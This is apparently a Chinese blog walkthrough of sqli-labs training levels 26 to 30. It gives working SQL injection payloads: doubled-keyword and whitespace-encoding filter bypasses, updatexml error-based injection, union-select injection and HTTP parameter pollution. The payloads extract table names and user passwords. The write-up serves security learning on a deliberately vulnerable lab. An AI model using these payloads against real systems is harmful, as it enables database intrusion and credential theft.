sqli-labs靶场第26-30关

第26关

这关将逻辑运算符,注释符以及空格给过滤了

我们先使用单引号进行闭合

这时我们查看源代码可以看到这一关过滤了很多字符

可以看到这里将or and / -- # 空格等字符都被注释了

空格被过滤了我们可以使用()来代替,and和or可以使用双写来绕过

因为报错注入空格少,所以这里我们使用报错注入

查询数据库名

复制代码
?id=1' aandnd(updatexml(1,concat(0x7e,(select(database())),0x7e),1)) aandnd '1

查询表名字段名以及字段下的数据

复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))aandnd'1 
复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))aandnd'1
复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))aandnd'1

我们获取到了数据库的数据自此通关

第26-a关

这关的闭合方式与26关不同,需要闭合')

复制代码
?id=1'aandnd'1

我们让页面报错发现页面没有报错只有一个警告

这里我们就不能使用报错注入了,所以我们使用布尔盲注

第27关

查看是否可以控制

?id=1

?id=2

可以控制

查看代码是否能直接在MySQL中执行

?id=1'

我们现在找一下他的闭合是什么

我们先试一下--+

发现网站给我们过滤掉了

这时我们试一下 and'1 闭合

页面回显正常说明网站不会过滤 and'1 得到网站是字符型

使用order by排序或者group by分组来猜测表有几个字段

我们猜测它有三列

?id=1' order by 4 and'1

我们发现输入的时候它给我们把空格过滤掉了所以我们使用%09 替换空格

%09 utf-8 可以当空格使用

我们猜测他有四列

?id=1%27%09order%09by%094%09and%271

回显成功

我们猜测它有七列

这时也回显成功,继续试的时候也是这样

发现使用 order by 不管用了,这时我们继续下一步,我们使用联合查询来猜

使用联合查询union select查看回显

复制代码
?id=9999%27%09uNion%09sElect%091,2,3%09and%09%271

我们查看到 2 回显数据

通过内置表查询数据

(1)使用联合查询查看表的名字

复制代码
?id=999%27%09uNion%09sElect%091,database(),3%09and%271

表的名字为security

(2)使用联合查询查看security中的所有表名

复制代码
?id=999%27%09uNion%09sElect%091,(sElect%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),3%09and%271

看到security中有四个表我们要查看的表为users

(3)继续使用联合查询查看users的所有字段名

复制代码
?id=999%27%09uNion%09sElect%091,(sElect%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema=database()%09and%09table_name='users'),3%09and%271

可以看到表中的名字id,username,password

(4)使用联合查询查看表中的数据

复制代码
?id=999%27%09uNion%09sElect%091,(sElect%09group_concat(id,username,password)%09from%09users),3%09and%271

获得表格中的所有账号密码。

第 28 关

该关卡过滤了注释符空格还过滤了union和select,所以我们可以使用重写绕过

查询数据库名

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,database(),3%0Aand('1

查询表名

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1

查字段名

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1

查数据

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(id,username,password)%0Afrom%0Ausers%0Aand%0A('1

第 28-a 关

该关卡只过滤union+select其他没有过滤

直接使用联合查询就行

第 29 关

这关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。

查询表名,字段名,数据

复制代码
?id=1&id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
复制代码
?id=1&id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
复制代码
?id=1&id=-2' union select 1,group_concat(password,username),3 from users--+

第三十关

第三十关和二十九关差不多,将单引号换成双引号

查询表名,字段名,数据

复制代码
?id=1&id=-2" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
复制代码
?id=1&id=-2" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
复制代码
?id=1&id=-2" union select 1,group_concat(password,username),3 from users--+
相关推荐
扶尔魔ocy14 分钟前
【Linux C/C++开发】轻量级关系型数据库SQLite开发(包含性能测试代码)
linux·数据库·c++·sqlite
旋风菠萝30 分钟前
项目复习(1)
java·数据库·八股·八股文·复习·项目、
w236173460132 分钟前
Django框架漏洞深度剖析:从漏洞原理到企业级防御实战指南——为什么你的Django项目总被黑客盯上?
数据库·django·sqlite
2302_809798321 小时前
【JavaWeb】MySQL
数据库·mysql
drowingcoder1 小时前
MySQL相关
数据库
Musennn2 小时前
MySQL刷题相关简单语法集合
数据库·mysql
Think Spatial 空间思维3 小时前
【HTTPS基础概念与原理】TLS握手过程详解
数据库·网络协议·https
laowangpython3 小时前
MySQL基础面试通关秘籍(附高频考点解析)
数据库·mysql·其他·面试
mooyuan天天3 小时前
SQL注入报错“Illegal mix of collations for operation ‘UNION‘”解决办法
数据库·web安全·sql注入·dvwa靶场·sql报错
运维-大白同学4 小时前
go-数据库基本操作
开发语言·数据库·golang